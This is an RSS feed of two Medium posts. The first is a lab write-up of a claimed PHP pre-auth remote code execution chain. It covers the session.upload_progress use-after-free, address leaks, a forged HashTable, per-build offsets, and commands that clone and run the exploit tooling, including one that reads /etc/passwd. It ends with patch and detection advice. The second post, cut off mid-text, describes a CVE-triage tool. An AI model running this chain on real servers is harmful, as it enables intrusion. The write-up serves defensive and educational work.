<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anmol K Sachan on Medium]]></title>
        <description><![CDATA[Stories by Anmol K Sachan on Medium]]></description>
        <link>https://medium.com/@anmolksachan?source=rss-b89a768e4b30------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ltC5nJjOARBZ2-tvFYZB2Q.jpeg</url>
            <title>Stories by Anmol K Sachan on Medium</title>
            <link>https://medium.com/@anmolksachan?source=rss-b89a768e4b30------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 07:50:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anmolksachan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP2Shell: CVE-2026-109618 Pre-Auth RCE, I Tested It Locally and Here’s How It Works]]></title>
            <link>https://anmolksachan.medium.com/php2shell-cve-2026-109618-pre-auth-rce-i-tested-it-locally-and-heres-how-it-works-0a50d01fa552?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a50d01fa552</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 12:00:37 GMT</pubDate>
            <atom:updated>2026-10-22T12:00:37.190Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*S9WFidp5Jic8Z1nBGV5Btw.png" /><figcaption>PRE-AUTH RCE CONFIRMED — PHP 8.5.11, uid=33(www-data), local Docker lab</figcaption></figure><h3>TL;DR</h3><p>PHP’s session.upload_progress feature enabled by default has a pre-RINIT use-after-free that allows an unauthenticated attacker to leak heap and library addresses, forge a HashTable in memory, and redirect execution to zif_system for arbitrary command execution. No login. No file upload. No prior access. Just HTTP requests.</p><p><strong>Affected:</strong> PHP 8.4.x ≤ 8.4.26, PHP 8.5.x ≤ 8.5.11 running Apache mod_php prefork<br><strong>Fixed:</strong> PHP 8.4.27 and PHP 8.5.12 (released 2026-10-21)<br><strong>Lab + scripts:</strong> <a href="https://github.com/anmolksachan/php2shell">https://github.com/anmolksachan/php2shell</a></p><h3>Background: What is session.upload_progress?</h3><p>PHP has a feature called session.upload_progress that tracks file upload progress by storing metadata in the session during a multipart POST request. It&#39;s controlled by a hidden form field PHP_SESSION_UPLOAD_PROGRESS and runs in the <strong>pre-RINIT phase</strong> — before the PHP script itself starts executing.</p><p>This is the crux of the vulnerability. By running before RINIT, this callback runs before:</p><ul><li>Any PHP error handlers</li><li>Any disable_functions restrictions</li><li>Any WAF or application-level security controls</li><li>The target script itself</li></ul><p>If something goes wrong in that pre-RINIT window, there is no safety net at the application layer.</p><p>Default php.ini in most distributions ships with:</p><pre>session.upload_progress.enabled = On    ; default: On<br>session.upload_progress.cleanup = On<br>session.upload_progress.prefix = &quot;upload_progress_&quot;<br>session.upload_progress.name = &quot;PHP_SESSION_UPLOAD_PROGRESS&quot;</pre><h3>The Vulnerability: Pre-RINIT Use-After-Free</h3><h3>What goes wrong</h3><p>When a multipart POST arrives with PHP_SESSION_UPLOAD_PROGRESS set, PHP&#39;s session handler calls php_session_track_init(), which allocates the session state struct (PS) on the heap and populates it with session data — including PS(id), a pointer to the session ID string.</p><p>If the request body is large enough to trigger an <strong>out-of-memory (OOM) bailout</strong> during multipart parsing, PHP’s allocator aborts the RINIT phase. The OOM happens <em>after</em> PS(id) has been set but <em>before</em> it has been properly cleaned up. The result: PS(id) is left dangling — pointing to freed heap memory.</p><p>The next request to the same worker reuses that stale pointer. This is the Use-After-Free (UAF) primitive that the entire chain is built on.</p><h3>Why it only works on mod_php prefork with one worker</h3><p>Session state is per-process. In Apache prefork, each worker is a separate process with its own heap. The UAF state is tied to whichever worker handled the first (OOM) request.</p><p>If a second request lands on a <em>different</em> worker, that worker has no stale pointer — the exploit fails. So the chain requires either:</p><ul><li><strong>One worker</strong> (the lab configuration), or</li><li><strong>Worker pinning</strong> (--pin-workers N) which holds N-1 workers busy with idle keep-alive connections, forcing all requests to one process</li></ul><h3>Why it only works on PHP 8.4/8.5</h3><p>PHP 8.4 and 8.5 introduced changes to the Zend MM heap allocator that give the exploit a predictable heap layout. The UAF precondition exists in earlier versions (8.0–8.3) but the stage-3 control flow gadget does not transfer — the heap grooming pads don’t align and stage 3 fails to achieve RCE.</p><h3>The 3-Stage Exploitation Chain</h3><h3>Stage 1 — Leak the Heap Base (defeat heap ASLR)</h3><p><strong>What we send:</strong></p><p>A multipart POST with ~841 fields and a large body that triggers OOM after php_session_track_init() sets PS(id).</p><pre>POST /index.php HTTP/1.1<br>Content-Type: multipart/form-data; boundary=X<br>PHP_SESSION_UPLOAD_PROGRESS: &lt;value&gt;</pre><pre>[841 multipart fields + large body to trigger OOM]</pre><p><strong>What PHP does:</strong></p><ol><li>Starts RINIT, calls php_session_track_init()</li><li>Allocates session state on the Zend MM heap, sets PS(id) → points into the heap chunk</li><li>OOM fires mid-parsing — PHP aborts RINIT, worker exits with PS(id) dangling</li><li>Next request hits the same worker, PHP processes the session again with the stale PS(id)</li><li>display_errors=On causes the OOM error to appear in the HTTP response body — and that error message contains <strong>raw heap pointer values</strong> embedded in the output</li></ol><p><strong>What we get:</strong></p><pre>[+] chunk base = 0xffff88800000</pre><p>The Zend MM chunk base address — heap ASLR defeated.</p><h3>Stage 2 — Leak the libphp Base (defeat library ASLR)</h3><p><strong>What we send:</strong></p><p>The same stale-state primitive, reshaped. A different OOM trigger forces a different code path to be hit — one that writes a pointer <em>into</em> libphp.so into the error output.</p><p><strong>What we get:</strong></p><pre>[+] libphp base = 0xffff85200000</pre><p>The libphp.so load address — library ASLR defeated. We now know where every function in libphp.so lives in memory.</p><h3>Stage 3 — Forge a HashTable, Hijack Execution, Get RCE</h3><p>With both addresses known, we calculate absolute addresses for:</p><p>SymbolPurposeOffset (8.5.11 aarch64)Absolute Addresszif_systemPHP&#39;s system() — our RIP target0x5314f0libphp_base + 0x5314f0zval_ptr_dtorDestructor called on session cleanup0x761b80libphp_base + 0x761b80htdata region where we place the forged HashTable0x690d8chunk_base + 0x690d8</p><p><strong>The forged HashTable:</strong></p><p>PHP’s zval_ptr_dtor follows a HashTable&#39;s destructor function pointer when cleaning up a session zval. We construct a fake HashTable struct at the htdata offset in the heap chunk (which we own because we know the chunk base) and set its destructor field to zif_system.</p><p><strong>The fake zend_string:</strong></p><p>zif_system expects a zend_string* argument (the shell command). We place a fake zend_string struct immediately adjacent to the forged HashTable carrying the command — id fits in 14 bytes, unlimited on a local lab.</p><p><strong>Execution:</strong></p><p>When the session cleanup path calls zval_ptr_dtor on the stale session zval, it dereferences our forged HashTable and calls its destructor — which is now zif_system. Our fake zend_string is passed as the argument. The OS executes the command as www-data.</p><pre>PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p><strong>Pre-auth RCE confirmed.</strong></p><h3>Setting Up the Lab</h3><p>All files for the lab are at: <a href="https://github.com/anmolksachan/php2shell"><strong>https://github.com/anmolksachan/php2shell</strong></a></p><h3>Prerequisites</h3><p>RequirementVersionCheckPython3.11+python3 --versionDockerany recentdocker --versionDocker daemonrunningdocker infoGitanygit --versionOSLinux or macOSarm64 or amd64</p><h3>Step 1 — Get the lab scripts</h3><pre>git clone https://github.com/anmolksachan/php2shell.git<br>cd php2shell</pre><p>The zip from the GitHub releases contains all helper scripts described below.</p><h3>Step 2 — Clone the upstream exploit toolkit</h3><pre>git clone https://github.com/devploit/php2shell.git devploit-php2shell<br>cd devploit-php2shell</pre><h3>Step 3 — Bootstrap the 9bie upstream exploit</h3><p>php2shell does not vendor the actual heap-grooming exploit (it has no license). A bootstrap script fetches and pins a specific commit:</p><pre>python3 tools/bootstrap_upstream.py</pre><p>Expected output:</p><pre>cloning https://github.com/9bie/php2shell-bypass-aslr-exp.git<br>upstream ready: vendor/php2shell-upstream<br>runtime changes: docs/upstream-changes.md</pre><h3>Step 4 — Start all lab containers</h3><pre>python3 tools/php2shell_labs.py up</pre><p>This spins up 7 Docker containers, each pinned to a specific PHP build with the calibration config:</p><ul><li>Apache prefork, <strong>1 worker</strong></li><li>memory_limit = 8M</li><li>display_errors = On</li><li>session.upload_progress.enabled = On</li><li>session.use_strict_mode = 0</li></ul><p>PortPHP BuildContainerRCE Confirmed:8100PHP 7.4.33p2s-lab-7433No:8101PHP 8.0.30p2s-lab-8030No:8102PHP 8.1.34p2s-lab-8134No:8103PHP 8.2.34p2s-lab-8234No:8104PHP 8.3.35p2s-lab-8335No:8105PHP 8.4.26p2s-lab-8426<strong>Yes</strong>:8106PHP 8.5.11p2s-lab-8511<strong>Yes</strong></p><p>All containers bind to 127.0.0.1 only. Nothing is exposed externally.</p><h3>Running the Exploit</h3><h3>Basic run — PHP 8.5.11 (arm64, verified)</h3><pre>python3 tools/php2shell_auto.py \<br>  -u http://127.0.0.1:8106/index.php \<br>  --container p2s-lab-8511 \<br>  --repo-dir vendor/php2shell-upstream</pre><h3>Full output</h3><pre>  exploit by devploit  ·  CVE-2026-109618 / CVE-2026-109619<br>  automatic target detection, build profile dispatch and command execution<br>  authorized testing only</pre><pre>[*] CHAIN 01/01  automatic target detection / fixed command proof<br>00:00.00  DISCOVER   <a href="http://127.0.0.1:8106/index.php">http://127.0.0.1:8106/index.php</a><br>00:00.08  INFO       detected architecture: aarch64<br>00:00.09  OK         PHP 8.5.11  ·  Apache/2.4.69 (Debian)<br>00:00.09  PREFLIGHT  php-8.5.11-bookworm-aarch64<br>00:00.09  INFO       local container: p2s-lab-8511<br>00:00.09  INFO       offsets: zif=0x5314f0 dtor=0x761b80 htdata=0x690d8<br>00:00.09  INFO       command: id&gt;/out/p1<br>00:00.12  INFO       command staged in lab/rce/out/8.5.11/c<br>00:00.15  PROBE      memory_limit probe: 16 MiB body<br>00:00.16  OK         detected memory_limit=8M<br>00:00.32  EXECUTE    memory_limit=8M  ·  huge_mb=12<br>   │ [*] no offsets file; reading libphp symbols from container p2s-lab-8511<br>   │ zif_system     0x5314f0<br>   │ zval_ptr_dtor  0x761b80<br>   │ wrote vendor/php2shell-upstream/out/offsets.env<br>   │ [*] target <a href="http://127.0.0.1:8106/index.php">http://127.0.0.1:8106/index.php</a> (cmd=&#39;sh&lt;/out/c&#39;)<br>   │ [*] offsets loaded from out/offsets.env<br>   │ [*] offsets: zif=0x5314f0 dtor=0x761b80 htdata=0x690d8<br>   │ [*] rotating worker over HTTP<br>   │ [*] stage 1: heap leak (attempt 1/3)<br>   │ [+] chunk base = 0xffff88800000<br>   │ [*] rotating worker over HTTP<br>   │ [*] stage 2: libphp leak (attempt 1/3)<br>   │ [+] libphp base = 0xffff85200000<br>   │ [*] rotating worker over HTTP<br>   │ [*] stage 3: HTDATA=0xffff888690d8 ZIF=0xffff857314f0<br>   │ [+] W3 attempt 1<br>   │ PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><pre>╭─ RESULT ─────────────────────────────────────────────────────────╮<br>│ PRE-AUTH RCE CONFIRMED                                           │<br>│ uid=33(www-data) gid=33(www-data) groups=33(www-data)            │<br>╰──────────────────────────────────────────────────────────────────╯</pre><h3>Custom command (unlimited length on local lab)</h3><pre>python3 tools/php2shell_auto.py \<br>  -u http://127.0.0.1:8106/index.php \<br>  --container p2s-lab-8511 \<br>  --repo-dir vendor/php2shell-upstream \<br>  -c &#39;id; uname -a; whoami; cat /etc/passwd&#39;</pre><h3>Interactive REPL (one full chain per command)</h3><pre>python3 tools/php2shell_auto.py \<br>  -u http://127.0.0.1:8106/index.php \<br>  --container p2s-lab-8511 \<br>  --repo-dir vendor/php2shell-upstream \<br>  --interactive</pre><h3>Test all 7 containers at once</h3><pre>python3 tools/php2shell_labs.py test</pre><h3>Using the helper scripts from the GitHub release</h3><p>The lab zip at <a href="https://github.com/anmolksachan/php2shell">https://github.com/anmolksachan/php2shell</a> includes ready-made wrappers:</p><pre>./setup.sh                                             # clone, bootstrap, start all labs<br>./run_exploit.sh                                       # exploit PHP 8.5.11 with &#39;id&#39;<br>./run_exploit.sh http://127.0.0.1:8106/index.php p2s-lab-8511 &quot;uname -a&quot;<br>./run_interactive.sh                                   # interactive REPL<br>./test_all_labs.sh                                     # test all 7 containers<br>./cleanup.sh                                           # stop all containers</pre><h3>Tear down</h3><pre>python3 tools/php2shell_labs.py down<br># or<br>./cleanup.sh</pre><h3>Code Walkthrough</h3><h3>tools/bootstrap_upstream.py — Fetches the upstream exploit</h3><p>Clones <a href="https://github.com/9bie/php2shell-bypass-aslr-exp">9bie’s php2shell-bypass-aslr-exp</a> into vendor/php2shell-upstream and checks out the pinned commit 4586f5c for reproducibility. The upstream has no license, so it is never committed to the repo — always fetched fresh.</p><pre>UPSTREAM_URL = &quot;https://github.com/9bie/php2shell-bypass-aslr-exp.git&quot;<br>PINNED_COMMIT = &quot;4586f5c&quot;</pre><h3>tools/php2shell_labs.py — Docker lab manager</h3><p>Builds and manages one container per PHP build. Each container uses a hardcoded php.ini that enforces the calibration config. The /out directory is bind-mounted from the host so proof output (the result of id) is readable on disk after execution.</p><p>Key calibration values:</p><pre>memory_limit = 8M<br>display_errors = On<br>session.upload_progress.enabled = On<br>session.use_strict_mode = 0<br>MaxRequestWorkers 1          ; Apache — one worker only</pre><h3>tools/php2shell_auto.py — The version-aware dispatcher</h3><p>The main entry point. Walk-through of what it does:</p><ol><li><strong>Fingerprint</strong> — sends a HEAD/GET to the target, reads X-Powered-By or PHP-Version header to identify the exact PHP build</li><li><strong>Profile lookup</strong> — finds profiles/php-&lt;version&gt;-&lt;distro&gt;-&lt;arch&gt;.json; aborts if the build is a patched release (8.4.27+, 8.5.12+) or has no profile</li><li><strong>Memory-limit probe</strong> — sends a 16 MiB body; the OOM error message reveals memory_limit=8M, so the chain runs once instead of sweeping values</li><li><strong>Worker pinning</strong> — for multi-worker targets, holds N-1 workers busy with idle keep-alive connections</li><li><strong>Upstream call</strong> — passes offsets to 9bie’s exploit via tools/php2shell_upstream.py (which applies the SNI and heap-parameter patches at runtime)</li><li><strong>Proof read</strong> — for local labs reads /out/p1 off the bind mount; for remote targets fetches /p1 from the webroot</li></ol><h3>profiles/php-8.5.11-bookworm-aarch64.json — Per-build offset profile</h3><p>Every PHP build has a unique libphp.so. Offsets extracted from one build are useless for another. The calibration factory (php2shell_calibrate.py) runs the full 3-stage chain and only writes &quot;rce&quot;: true once a real shell proof is captured.</p><pre>{<br>  &quot;libphp&quot;: {<br>    &quot;zif_system&quot;: &quot;0x5314f0&quot;,<br>    &quot;zval_ptr_dtor&quot;: &quot;0x761b80&quot;,<br>    &quot;htdata&quot;: &quot;0x690d8&quot;<br>  },<br>  &quot;stages&quot;: {<br>    &quot;stage1_n&quot;: 841,<br>    &quot;stage1_forge_len&quot;: 79,<br>    &quot;stage2_t&quot;: 406,<br>    &quot;stage2_v&quot;: 16,<br>    &quot;stage3_pads&quot;: [[31, 31]],<br>    &quot;stage3_carrier&quot;: true<br>  },<br>  &quot;oom_mb&quot;: 12,<br>  &quot;rce&quot;: true<br>}</pre><p>FieldMeaningzif_systemOffset of zif_system in libphp.so — the code we redirect execution tozval_ptr_dtorOffset of zval_ptr_dtor — used to validate the destructor gadgethtdataOffset into the Zend MM chunk where the forged HashTable is placedstage1_nNumber of multipart fields needed to trigger OOM after session initstage1_forge_lenSize of the forged data in stage 1stage2_t / stage2_vTiming/value parameters for the stage 2 leak primitivestage3_padsHeap grooming pad counts to align the forged struct to the right offsetstage3_carrierWhether the stage-3 fake zend_string carrier is supportedoom_mbBody size (MB) that triggers OOM at memory_limit=8M</p><h3>tools/php2shell_calibrate.py — Profile generator</h3><p>Run this against any new PHP build to generate a new profile. Discovers stages 1 and 2 automatically, then tries stage 3. Only writes &quot;rce&quot;: true after a live id proof is collected from the container&#39;s /out mount.</p><pre>python3 tools/php2shell_calibrate.py \<br>  --target http://127.0.0.1:8105/index.php \<br>  --container p2s-lab-8426 \<br>  --repo-dir vendor/php2shell-upstream \<br>  --proof-file lab/rce/out/8.4.26/p1 \<br>  --distro bookworm</pre><h3>Detection, Defense &amp; Patch</h3><h3>1. Patch (only complete fix)</h3><pre>php -v   # check your current version</pre><p>Upgrade to:</p><ul><li><strong>PHP 8.4.27</strong> or higher</li><li><strong>PHP 8.5.12</strong> or higher</li></ul><p>Packages are available in standard distribution repos and via apt/yum/brew depending on your platform.</p><h3>2. Disable session.upload_progress (best immediate mitigation)</h3><pre>; /etc/php/php.ini or /etc/php/conf.d/session.ini<br>session.upload_progress.enabled = Off</pre><p>This removes the pre-RINIT callback entirely. The entire chain depends on it. This is safe for virtually all applications — very few modern apps use PHP-native upload progress (they use JavaScript-based progress via XMLHttpRequest).</p><p>Restart Apache after changing:</p><pre>systemctl restart apache2</pre><h3>3. Additional hardening (not a fix, raises the bar)</h3><pre>display_errors = Off          ; blocks the stage-1 leak as shipped<br>memory_limit = 256M           ; makes the OOM probe slower, not impossible<br>expose_php = Off              ; hides version from X-Powered-By</pre><p>Making your webroot read-only prevents the exploit from writing a proof file, but does not prevent blind command execution.</p><h3>4. Detection: what to look for in logs</h3><p><strong>Apache access log:</strong></p><pre># Stage 1 — large multipart body, many fields<br>POST /index.php HTTP/1.1 500 - [body &gt; 10MB, ~841 fields in Content-Type boundary]</pre><pre># Stage 2 — similar pattern, slightly different body size<br>POST /index.php HTTP/1.1 500 -</pre><pre># Stage 3 — exploitation attempt, Apache child may crash<br>POST /index.php HTTP/1.1 500 -</pre><p><strong>Apache error log — key signatures:</strong></p><pre>[error] PHP Fatal error: Allowed memory size of 8388608 bytes exhausted<br>[notice] child pid 12345 exit signal Segmentation fault (11)<br>zend_mm_heap corrupted</pre><p><strong>SIEM / WAF rules to add:</strong></p><ul><li>Rate-limit multipart POSTs with Content-Length &gt; 5MB to the same endpoint</li><li>Alert on &gt; 500 multipart fields in a single request</li><li>Alert on repeated 500 responses from the same source IP within 5 seconds</li><li>Alert on zend_mm_heap corrupted in PHP error logs</li></ul><h3>5. PHP-FPM users: you are not affected</h3><p>This chain is mod_php prefork only. PHP-FPM processes requests in a completely different lifecycle — the pre-RINIT primitive does not transfer. If you&#39;re running Nginx + PHP-FPM or Apache + PHP-FPM, this specific exploit does not apply.</p><h3>RCE Status Across Builds</h3><p>PHP BuildArchitectureHeap Leaklibphp LeakRCENotes8.5.11aarch64YesYes<strong>Yes</strong>Verified: uid=33(www-data)8.5.11amd64YesYes<strong>Yes</strong>Separate offsets, same htdata8.5.10aarch64YesYes<strong>Yes</strong>Verified8.4.26amd64YesYes<strong>Yes</strong>Reference build8.4.25aarch64YesYes<strong>Yes</strong>Probabilistic stage 3, needs retries8.5.0aarch64YesYesNoStage-3 layout not found8.3.35aarch64YesYesNoStage-3 reference alive8.3.33 (WordPress)mod_phpYesYesNoStage-3 reference alive8.3.0aarch64NoNoNoPS(id) dangling, cookie not reclaimed8.2.34aarch64NoNoNoUAF present, leak shape differs8.1.34aarch64NoNoNoUAF present, leak shape differs8.0.30aarch64NoNoNoUAF present, leak shape differs7.4.33aarch64NoNoNoUAF present, leak shape differs</p><p><strong>5 builds with verified RCE. 13 heap profiles total.</strong></p><h3>References &amp; Credits</h3><ul><li><strong>This lab:</strong> <a href="https://github.com/anmolksachan/php2shell">https://github.com/anmolksachan/php2shell</a></li><li><strong>php2shell toolkit:</strong> <a href="https://github.com/devploit/php2shell">https://github.com/devploit/php2shell</a> (devploit)</li><li><strong>Upstream exploit:</strong> <a href="https://github.com/9bie/php2shell-bypass-aslr-exp">https://github.com/9bie/php2shell-bypass-aslr-exp</a> (9bie)</li><li><strong>Wiz Research discovery blog:</strong> <a href="https://www.wiz.io/blog/php2shell-php-rce">https://www.wiz.io/blog/php2shell-php-rce</a></li><li><strong>Calif research:</strong> <a href="https://calif.io/php2shell">https://calif.io/php2shell</a></li><li><strong>PHP security advisories:</strong> <a href="https://www.php.net/security/">https://www.php.net/security/</a></li><li><strong>PHP Foundation patch note:</strong> <a href="https://thephp.foundation/blog/2026/10/21/todays-php-security-release-and-how-were-strengthening-php-security/">https://thephp.foundation/blog/2026/10/21/todays-php-security-release-and-how-were-strengthening-php-security/</a></li></ul><p><strong>CVEs:</strong> CVE-2026–109618 / CVE-2026–109619<br><strong>Discovery:</strong> Wiz Research<br><strong>Upstream exploit:</strong> 9bie<br><strong>Dispatcher + profiles + labs:</strong> devploit<br><strong>This lab writeup:</strong> Anmol K Sachan</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a50d01fa552" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The CVE in the Slack channel]]></title>
            <link>https://anmolksachan.medium.com/the-cve-in-the-slack-channel-94fb683b946e?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/94fb683b946e</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 18:22:37 GMT</pubDate>
            <atom:updated>2026-07-10T21:21:26.534Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FFJZBX8u_qVgsr6E" /></figure><p>Someone drops a CVE ID into the team channel. No context. Just `CVE-2021–44228` and a question mark, or worse, a thumbs-up emoji that somebody added ironically.</p><p>And now your afternoon has a shape.</p><p>You open NVD first, because that’s the reflex. You read the description, squint at the CVSS vector, and try to remember whether `AV:N/AC:L/PR:N` means what you think it means at 4 pm. Then a tab for Exploit-DB. Then GitHub, where you type the CVE into search and get back forty repos, half of them forks of the same proof-of-concept, a third of them containing nothing but a `README.md` that says “coming soon.” You check Trickest’s mirror because it’s cleaner than a raw GitHub search. You open the CISA KEV catalog to see if this thing is actually being used against people or just theoretically scary. You pull up FIRST’s EPSS score, because a 9.8 that nobody exploits is a different problem than a 7.5 that everyone does. You check whether there’s a Nuclei template so you can confirm exposure without guessing. You check whether Metasploit has a module, because that changes the conversation entirely. And somewhere in there, you also Googled the CVE, landed on a vendor advisory, and lost four minutes reading a mitigation section that didn’t apply to your version.</p><p>Twenty minutes later, you have eleven tabs open and a single sentence to send back to the channel: ”Yeah, patch that one, it’s real.”</p><p>I did this often enough that it stopped feeling like work and started feeling like a toll. Context switching is the tax every pentester silently pays, and unlike most taxes, nobody ever itemizes it. You don’t notice the cost in any single lookup. You notice it at the end of an engagement when you realize you spent more time reconciling eight sources than you spent actually testing anything.</p><p>That toll is why <a href="https://github.com/anmolksachan/ThreatTracer"><strong>ThreatTracer</strong></a> exists, and why version 5 ended up being a near-total rewrite instead of another feature bolted onto the side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vLcmNs4gJKkt9PNG" /></figure><p><strong>Finding the vulnerability was never the hard part</strong></p><p>There’s a comfortable lie in vulnerability management that says the difficulty is coverage. Scan more, find more, miss nothing. Tools compete on how many things they can detect, vendors sell dashboards that count findings, and everybody nods along.</p><p>But if you’ve run assessments for any length of time, you know the detection problem is mostly solved for the boring 90%. Your scanner finds the outdated Apache. Your recon finds the exposed Jenkins. The CVE feeds tell you what’s wrong. That part works.</p><p>The hard part is what comes after. You’re staring at 60 CVEs across a handful of components, and the client wants to know which three actually matter this week. The hardest part of vulnerability management isn’t finding vulnerabilities. It’s deciding which one deserves your attention first, and being able to defend that decision when someone senior asks why.</p><p>That decision is made from exactly the eight sources I listed above. KEV tells you if it’s exploited in the wild. EPSS tells you the probability it will be. CVSS tells you how bad it is in theory. The existence of a Metasploit module or a clean public PoC tells you how much effort real exploitation takes right now. None of those signals is sufficient on its own, and all of them live in different places with different formats and different rate limits.</p><p>So the actual job, the part that requires judgment and experience , is buried under twenty minutes of tab management before you even get to think.</p><p>That’s the friction I wanted gone. Not “make finding CVEs easier.” Make the decision easier. Put every signal in one place, in one command, fast enough that checking is cheaper than not checking.</p><p><strong>Why version 5 is a rewrite and not a patch</strong></p><p>The early versions of ThreatTracer were, honestly, a script. A useful script that a few other people and I actually used on engagements, but a script. It took a product name and a version, and it queried NVD and printed CVEs. Version 3 got more ambitious; it started correlating PoCs and tried to be smart about matching , and in doing so, it also got slower and more fragile. Every new source I added was another synchronous HTTP call in a loop, another thing that could hang, another place where a 429 from GitHub would take the whole run down with it.</p><p>By the time I was thinking about version 4’s asset scanning, the architecture was fighting me. Adding a source meant threading it through three places. Errors in one feed would sometimes poison results from another. And the whole thing ran serially, which meant that the more useful it got, the longer you waited.</p><p>I sat with it for a while and made a decision that’s easy to regret: I rewrote the core. Async from the ground up, on `httpx` with HTTP/2 and a shared client, retries handled centrally with exponential backoff and actual `Retry-After` awareness instead of a bare `time.sleep`. Every source became a small, self-contained client with one job, and the orchestrator fires them concurrently and merges the results. A SQLite cache underneath everything with a six-hour TTL, so the second time you look at the same component in an assessment, it’s instant, and you’re not hammering NVD like a rude person.</p><p>The rewrite took months of evenings, and there was a stretch where it did less than the old version did, which is the demoralizing valley every rewrite passes through. But the point of it was never to add features. It was to make adding the next feature cheap, and to make the tool fast enough that reaching for it became a reflex rather than a decision.</p><p>The design goal fit in one sentence, and I wrote it on a sticky note: one command should answer “can I actually exploit this, and should I care?”</p><p>Everything in v5 is downstream of that sentence.</p><p><strong>What actually happens when you run one scan</strong></p><p>Say someone drops that Log4j CVE in the channel. Here’s the whole afternoon, collapsed:</p><blockquote>threattracer scan — cve CVE-2021–44228 — summarize — detail</blockquote><p>Under the hood, that one line does something like a dozen network operations, most of them in parallel, and stitches them into a single answer.</p><p>It starts at NVD, using the v2 REST API. It pulls the record, parses the description and the CWE weaknesses, and extracts the CVSS metrics, preferring v3.1, falling back to v3.0, then v2 if that’s all the vuln has, because plenty of older CVEs never got rescored. That gives you severity and the vector, the attack-vector-and-privileges-required stuff that tells you whether this is a remote unauthenticated problem or something that needs a foothold first.</p><p>Then it enriches. EPSS comes from FIRST.org in a batched call, where you can ask for up to a hundred CVEs at once, which matters when you’re scanning a component that has fifty of them. EPSS is one of those signals people either overweigh or ignore entirely, and both are mistakes. A high EPSS score doesn’t mean you can exploit something; it means the internet, statistically, is about to try. That’s useful context that CVSS simply does not carry.</p><p>KEV is a single bulk download of the CISA catalog, cached, then matched locally. If a CVE is in KEV, the argument is basically over; it’s confirmed exploited in the wild, it’s on a federal remediation clock, and it moves to the top of the pile regardless of what its CVSS says. The catalog also flags known ransomware use, which is the kind of detail that makes a report land differently with a client.</p><p>For exploit availability, it pulls the Exploit-DB CSV index downloaded once, stored on disk, matched by CVE ID in the codes column with a fuzzy title check as a backstop. In parallel, it hits the Trickest CVE mirror, which is a genuinely underrated resource: a maintained per-CVE list of PoC links that saves you from raw GitHub search. If you’ve given it a GitHub token, it also queries the GitHub API directly, ranks repositories by stars, and filters out forks, because the fork problem on security GitHub is real and forty copies of one PoC is noise, not signal. It checks Vulhub too, so if there’s a ready-made Docker environment to reproduce the thing safely, you know before you go looking.</p><p>And then the two signals that change what you actually do next. It searches the ProjectDiscovery Nuclei templates for a matching detection template, because a Nuclei template means you’re one command away from safely confirming exposure rather than arguing about it. And it searches the Metasploit module metadata, because a Metasploit module means weaponization is essentially free, and the risk conversation is now urgent.</p><p>All of that, for one CVE, comes back as a single panel. For Log4Shell, it lights up everything KEV with ransomware use, EPSS in the high nineties, an MSF module, public PoCs, and a Nuclei template. You get your one sentence back to the channel in about the time it takes to read this paragraph.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HsTAeZmUqoOb6Dx3KSK93Q.png" /></figure><p>You can point the same machine at a component and version instead of a single CVE:</p><blockquote>threattracer scan -c apache -v 2.4.51 — summarize</blockquote><p>That’s where the CPE matching earns its keep, and where I’ll be honest about a rough edge.</p><p><strong>CPE matching is a swamp, and I mostly drained it</strong></p><p>If you’ve ever tried to map a human-readable product name to NVD’s CPE dictionary programmatically, you know it’s miserable. “Apache” could mean the HTTP server, Tomcat, Struts, Solr, or the foundation itself. Vendors rename themselves. NVD’s own titles are inconsistent. A naive keyword search returns a pile of near-matches with no obvious ranking.</p><p>ThreatTracer handles this with fuzzy scoring on top of a vendor-normalization map, using `rapidfuzz` for the string similarity. It knows that “Apache Software Foundation” and “apache” are the same vendor, that “Sun Microsystems” should resolve to Oracle, that OpenSSH lives under OpenBSD in CPE-land. It scores each candidate CPE by how well the product matches, bonuses an exact version hit, and penalizes wildcard-heavy CPEs that are too generic to be useful. Then it queries CVEs for the top few matches and de-duplicates.</p><p>Does it get it right every time? No. CPE is fundamentally lossy and there are products where the best match is still a guess, which is why the tool shows you the CPE candidates and their scores rather than silently picking one and pretending. When it’s uncertain, you can see that it’s uncertain. I’d rather surface the ambiguity than hide it behind false confidence, because a triage tool that lies to you is worse than no tool at all.</p><p>That’s a theme, actually. The whole thing is built to show its work.</p><p><strong>Point it at something live</strong></p><p>The other half of v5 is asset scanning, which came out of a simple observation: on a real engagement, you rarely start with a CVE. You start with a target.</p><blockquote>threattracer asset <a href="https://target.com/">https://target.com</a></blockquote><p>It fetches the URL, follows redirects, and fingerprints the technology stack. Fingerprinting uses Wappalyzer when it’s available, plus a built-in layer of header and body signatures, the `Server` header, 